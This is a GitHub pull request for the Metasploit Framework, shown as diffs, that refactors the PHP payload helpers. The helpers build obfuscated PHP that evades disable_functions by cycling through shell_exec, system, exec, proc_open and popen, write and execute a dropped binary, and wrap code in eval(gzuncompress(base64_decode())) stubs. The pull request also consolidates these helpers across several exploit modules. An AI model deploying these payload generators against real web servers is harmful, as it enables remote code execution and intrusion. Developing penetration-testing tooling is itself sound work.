Skip to content

Add PHP adapters and refactor PHP payloads #20160

New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Open
wants to merge 5 commits into
base: master
Choose a base branch
from
Open
Show file tree
Hide file tree
Changes from all commits
Commits
File filter

Filter by extension

Filter by extension


Conversations
Failed to load comments.
Loading
Jump to
Jump to file
Failed to load files.
Loading
Diff view
Diff view
1 change: 1 addition & 0 deletions Gemfile
Original file line number Diff line number Diff line change
Expand Up @@ -53,3 +53,4 @@ group :test do
gem 'timecop'
end

gem 'rex-random_identifier', git: 'https://github.com/zeroSteiner/rex-random_identifier', branch: 'feat/lang/php'
12 changes: 10 additions & 2 deletions Gemfile.lock
Original file line number Diff line number Diff line change
@@ -1,3 +1,12 @@
GIT
remote: https://github.com/zeroSteiner/rex-random_identifier
revision: b2f8c2ec849064f04ce68f8895253117da14dc84
branch: feat/lang/php
specs:
rex-random_identifier (0.1.16)
bigdecimal
rex-text

PATH
remote: .
specs:
Expand Down Expand Up @@ -469,8 +478,6 @@ GEM
rex-random_identifier
rex-text
ruby-rc4
rex-random_identifier (0.1.15)
rex-text
rex-registry (0.1.6)
rex-rop_builder (0.1.6)
metasm
Expand Down Expand Up @@ -621,6 +628,7 @@ DEPENDENCIES
pry-byebug
rake
redcarpet
rex-random_identifier!
rspec-rails
rspec-rerun
rubocop (= 1.67.0)
Expand Down
5 changes: 3 additions & 2 deletions lib/msf/core/exploit/php_exe.rb
Original file line number Diff line number Diff line change
Expand Up @@ -49,15 +49,16 @@ def get_write_exec_payload(opts={})
print_warning("Unable to clean up #{bin_name}, delete it manually")
end
p = Rex::Text.encode_base64(generate_payload_exe)
vars = Rex::RandomIdentifier::Generator.new(language: :php)
php = %Q{
#{php_preamble}
#{php_preamble(vars_generator: vars)}
$ex = "#{bin_name}";
$f = fopen($ex, "wb");
fwrite($f, base64_decode("#{p}"));
fclose($f);
chmod($ex, 0777);
function my_cmd($cmd) {
#{php_system_block};
#{php_system_block(vars_generator: vars)};
}
if (FALSE === strpos(strtolower(PHP_OS), 'win' )) {
my_cmd($ex . "&");
Expand Down
7 changes: 3 additions & 4 deletions lib/msf/core/exploit/remote/http/wordpress/admin.rb
Original file line number Diff line number Diff line change
Expand Up @@ -61,11 +61,10 @@ def generate_plugin(plugin_name, payload_name)

php_code = "<?php #{payload.encoded} ?>"
if target['Arch'] != ARCH_PHP
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
vars = Rex::RandomIdentifier::Generator.new(language: :php)
php_code = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(payload.encoded)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
#{php_preamble(vars_generator: vars)}
#{php_system_block(vars_generator: vars, cmd: payload.encoded)}
END_OF_PHP_CODE
php_code = php_code + '?>'
end
Expand Down
109 changes: 72 additions & 37 deletions lib/msf/core/payload/php.rb
Original file line number Diff line number Diff line change
Expand Up @@ -16,15 +16,16 @@ module Msf::Payload::Php
#
# @return [String] A chunk of PHP code
#
def php_preamble(options = {})
dis = options[:disabled_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
dis = '$' + dis if (dis[0,1] != '$')
def self.preamble(options = {})
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }

@dis = dis
dis = options[:disabled_varname] || vars[:disabled_varname]
dis = "$#{dis}" unless dis.start_with?('$')

# Canonicalize the list of disabled functions to facilitate choosing a
# system-like function later.
preamble = "/*<?php /**/
<<~TEXT
/*<?php /**/
@error_reporting(0);@set_time_limit(0);@ignore_user_abort(1);@ini_set('max_execution_time',0);
#{dis}=@ini_get('disable_functions');
if(!empty(#{dis})){
Expand All @@ -34,8 +35,11 @@ def php_preamble(options = {})
}else{
#{dis}=array();
}
"
return preamble
TEXT
end

def php_preamble(options = {})
Msf::Payload::Php.preamble(options)
end

#
Expand All @@ -52,63 +56,72 @@ def php_preamble(options = {})
# @return [String] A chunk of PHP code that, with a little luck, will run a
# command.
#
def php_system_block(options = {})
cmd = options[:cmd_varname] || '$cmd'
dis = options[:disabled_varname] || @dis || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
output = options[:output_varname] || '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
def self.system_block(options = {})
vars = options.fetch(:vars_generator) { Rex::RandomIdentifier::Generator.new(language: :php) }

if (@dis.nil?)
@dis = dis
end
cmd = options[:cmd_varname] || vars[:cmd_varname]
dis = options[:disabled_varname] || vars[:disabled_varname]
output = options[:output_varname] || vars[:output_varname]

cmd = '$' + cmd if (cmd[0,1] != '$')
dis = '$' + dis if (dis[0,1] != '$')
output = '$' + output if (output[0,1] != '$')
cmd = '$' + cmd unless cmd.start_with?('$')
dis = '$' + dis unless dis.start_with?('$')
output = '$' + output unless output.start_with?('$')

is_callable = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
in_array = '$' + Rex::Text.rand_text_alpha(rand(4) + 4)
is_callable = vars[:is_callable_varname]
in_array = vars[:in_array_varname]

setup = "
setup = ''
if options[:cmd]
setup << <<~TEXT
#{cmd}=base64_decode('#{Rex::Text.encode_base64(options[:cmd])}');
TEXT
end
setup << <<~TEXT
if (FALSE!==stristr(PHP_OS,'win')){
#{cmd}=#{cmd}.\" 2>&1\\n\";
}
#{is_callable}='is_callable';
#{in_array}='in_array';
"
shell_exec = "
TEXT
shell_exec = <<~TEXT
if(#{is_callable}('shell_exec')&&!#{in_array}('shell_exec',#{dis})){
#{output}=`#{cmd}`;
}else"
passthru = "
}else
TEXT
passthru = <<~TEXT
if(#{is_callable}('passthru')&&!#{in_array}('passthru',#{dis})){
ob_start();
passthru(#{cmd});
#{output}=ob_get_contents();
ob_end_clean();
}else"
system = "
}else
TEXT
system = <<~TEXT
if(#{is_callable}('system')&&!#{in_array}('system',#{dis})){
ob_start();
system(#{cmd});
#{output}=ob_get_contents();
ob_end_clean();
}else"
exec = "
}else
TEXT
exec = <<~TEXT
if(#{is_callable}('exec')&&!#{in_array}('exec',#{dis})){
#{output}=array();
exec(#{cmd},#{output});
#{output}=join(chr(10),#{output}).chr(10);
}else"
proc_open = "
}else
TEXT
proc_open = <<~TEXT
if(#{is_callable}('proc_open')&&!#{in_array}('proc_open',#{dis})){
$handle=proc_open(#{cmd},array(array('pipe','r'),array('pipe','w'),array('pipe','w')),$pipes);
#{output}=NULL;
while(!feof($pipes[1])){
#{output}.=fread($pipes[1],1024);
}
@proc_close($handle);
}else"
popen = "
}else
TEXT
popen = <<~TEXT
if(#{is_callable}('popen')&&!#{in_array}('popen',#{dis})){
$fp=popen(#{cmd},'r');
#{output}=NULL;
Expand All @@ -118,7 +131,8 @@ def php_system_block(options = {})
}
}
@pclose($fp);
}else"
}else
TEXT
# Currently unused until we can figure out how to get output with COM
# objects (which are not subject to safe mode restrictions) instead of
# PHP functions.
Expand All @@ -128,17 +142,38 @@ def php_system_block(options = {})
# $wscript->run(#{cmd} . ' > %TEMP%\\out.txt');
# #{output} = file_get_contents('%TEMP%\\out.txt');
# }else"
fail_block = "
fail_block = <<~TEXT
{
#{output}=0;
}
"
TEXT

exec_methods = [passthru, shell_exec, system, exec, proc_open, popen]
exec_methods = exec_methods.shuffle
buf = setup + exec_methods.join("") + fail_block
setup + exec_methods.join("") + fail_block
end

return buf
def php_system_block(options = {})
Msf::Payload::Php.system_block(options)
end

def php_exec_cmd(cmd)
vars = Rex::RandomIdentifier::Generator.new(language: :php)
<<-END_OF_PHP_CODE
#{php_preamble(vars_generator: vars)}
#{php_system_block(vars_generator: vars, cmd: cmd)}
END_OF_PHP_CODE
end

def self.create_exec_stub(php_code, options = {})
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(php_code))
b64_stub = "eval(gzuncompress(base64_decode('#{payload}')));"
b64_stub = "<?php #{b64_stub} ?>" if options.fetch(:wrap_in_tags, true)
b64_stub
end

def php_create_exec_stub(php_code)
Msf::Payload::PHP.create_exec_stub(php_code)
end

end
2 changes: 1 addition & 1 deletion lib/msf/core/payload/php/send_uuid.rb
Original file line number Diff line number Diff line change
Expand Up @@ -17,7 +17,7 @@ def php_send_uuid(opts={})
sock_var = opts[:sock_var] || '$s'
sock_type = opts[:sock_type] || '$s_type'

uuid = opts[:uuid] || generate_payload_uuid
uuid = opts[:uuid] || generate_payload_uuid(arch: ARCH_PHP, platform: 'php')
uuid_raw = uuid.to_raw.chars.map { |c| '\x%.2x' % c.ord }.join('')

php = %Q^$u="#{uuid_raw}";
Expand Down
10 changes: 5 additions & 5 deletions lib/msf/core/payload/python.rb
Original file line number Diff line number Diff line change
Expand Up @@ -8,18 +8,18 @@ module Msf::Payload::Python
# one line and compatible with all Python versions supported by the Python
# Meterpreter stage.
#
# @param cmd [String] The python code to execute.
# @param python_code [String] The python code to execute.
# @return [String] Full python stub to execute the command.
#
def self.create_exec_stub(cmd)
def self.create_exec_stub(python_code)
# Encoding is required in order to handle Python's formatting
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(cmd))
payload = Rex::Text.encode_base64(Rex::Text.zlib_deflate(python_code))
b64_stub = "exec(__import__('zlib').decompress(__import__('base64').b64decode(__import__('codecs').getencoder('utf-8')('#{payload}')[0])))"
b64_stub
end

def py_create_exec_stub(cmd)
Msf::Payload::Python.create_exec_stub(cmd)
def py_create_exec_stub(python_code)
Msf::Payload::Python.create_exec_stub(python_code)
end

end
12 changes: 0 additions & 12 deletions modules/exploits/linux/http/craftcms_preauth_rce_cve_2025_32432.rb
Original file line number Diff line number Diff line change
Expand Up @@ -232,16 +232,4 @@ def exploit
print_status('Injecting stub & triggering payload...')
execute_via_session(payload_code)
end

def php_exec_cmd(encoded_payload)
gen = Rex::RandomIdentifier::Generator.new
disabled_var = "$#{gen[:dis]}"
b64 = Rex::Text.encode_base64(encoded_payload)

<<~PHP
#{php_preamble(disabled_varname: disabled_var)}
$c=base64_decode("#{b64}");
#{php_system_block(cmd_varname: '$c', disabled_varname: disabled_var)}
PHP
end
end
14 changes: 1 addition & 13 deletions modules/exploits/multi/http/cacti_package_import_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -155,22 +155,10 @@ def check
CheckCode::Appears
end

# Taken from modules/payloads/singles/php/exec.rb
def php_exec(cmd)
dis = '$' + rand_text_alpha(4..7)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{Rex::Text.encode_base64(cmd)}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE

Rex::Text.compress(shell)
end

def generate_package
@payload_path = "resource/#{rand_text_alphanumeric(5..10)}.php"

php_payload = target['Type'] == :php ? payload.encoded : php_exec(payload.encoded)
php_payload = target['Type'] == :php ? payload.encoded : php_exec_cmd(payload.encoded)

digest = OpenSSL::Digest.new('SHA256')
pkey = OpenSSL::PKey::RSA.new(2048)
Expand Down
16 changes: 0 additions & 16 deletions modules/exploits/multi/http/spip_bigup_unauth_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -146,22 +146,6 @@ def get_form_data
nil
end

# This function generates PHP code to execute a given payload on the target.
# We use Rex::RandomIdentifier::Generator to create a random variable name to avoid conflicts.
# The payload is encoded in base64 to prevent issues with special characters.
# The generated PHP code includes the necessary preamble and system block to execute the payload.
# This approach allows us to test multiple functions and not limit ourselves to potentially dangerous functions like 'system' which might be disabled.
def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = "$#{vars[:dis]}"
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
<<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
end

def exploit
form_data = get_form_data

Expand Down
12 changes: 0 additions & 12 deletions modules/exploits/multi/http/spip_connect_exec.rb
Original file line number Diff line number Diff line change
Expand Up @@ -97,18 +97,6 @@ def check
Exploit::CheckCode::Safe
end

def php_exec_cmd(encoded_payload)
vars = Rex::RandomIdentifier::Generator.new
dis = '$' + vars[:dis]
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return shell
end

def exploit
uri = normalize_uri(target_uri.path, 'spip.php')
print_status("#{rhost}:#{rport} - Attempting to exploit...")
Expand Down
11 changes: 0 additions & 11 deletions modules/exploits/multi/http/spip_porte_plume_previsu_rce.rb
Original file line number Diff line number Diff line change
Expand Up @@ -105,17 +105,6 @@ def check
CheckCode::Appears("The detected SPIP version (#{rversion}) is vulnerable.")
end

def php_exec_cmd(encoded_payload)
dis = '$' + Rex::Text.rand_text_alpha(rand(4..7))
encoded_clean_payload = Rex::Text.encode_base64(encoded_payload)
shell = <<-END_OF_PHP_CODE
#{php_preamble(disabled_varname: dis)}
$c = base64_decode("#{encoded_clean_payload}");
#{php_system_block(cmd_varname: '$c', disabled_varname: dis)}
END_OF_PHP_CODE
return shell
end

def exploit
print_status('Preparing to send exploit payload to the target...')
phped_payload = target['Arch'] == ARCH_PHP ? payload.encoded : php_exec_cmd(payload.encoded)
Expand Down
Loading
Loading